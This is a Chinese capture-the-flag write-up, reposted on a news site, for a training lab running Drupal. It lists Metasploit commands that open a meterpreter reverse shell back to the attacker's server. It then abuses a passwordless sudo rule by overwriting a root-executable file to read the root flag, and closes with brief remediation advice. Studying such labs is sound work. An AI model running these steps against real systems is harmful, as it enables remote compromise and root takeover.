前置知识

SUID滥用是程序本身“自带”了高权限,你运行它就能获得它的权限。
Sudo滥用是系统“允许”你临时获得高权限去运行某个命令。

靶场地址:http://www.loveli.com.cn/see_bug_one?id=296

靶场考点

1.msf工具(kali自带)对drupal cms进行渗透
2.SUID权限滥用 + Sudo权限滥用提权

解题思路

msf工具进行渗透

打开靶场,发现是drupal cms
图片
使用msf工具

msfconsole      #启动工具
search drupal   #搜索漏洞利用模块
use 1           #选择攻击模块(2018年比较新的)
set payload php/meterpreter/reverse_tcp
#设置攻击payload
set rhost fkksrwl.haobachang.loveli.com.cn
#设置受害主机ip
set rport 8888  #设置受害主机端口
set lhost 公网服务器ip 
#设置攻击机ip
set lport 8888  #设置攻击机端口
run             #运行

图片
攻击成功后,进入shell
图片

提权

输入sudo -l,发现无密码就能以root权限执行/var/www/html/haobachang.html
图片
进行提权

echo '#!/bin/bash' > /var/www/html/haobachang.html
echo 'cat /root/flag.txt' >> /var/www/html/haobachang.html
chmod +x /var/www/html/haobachang.html
sudo /var/www/html/haobachang.html

图片

漏洞修复

1.立即更新Drupal到最新安全版本
2.SUDO权限修复,编辑sudoers文件,移除危险配置

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/976288.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!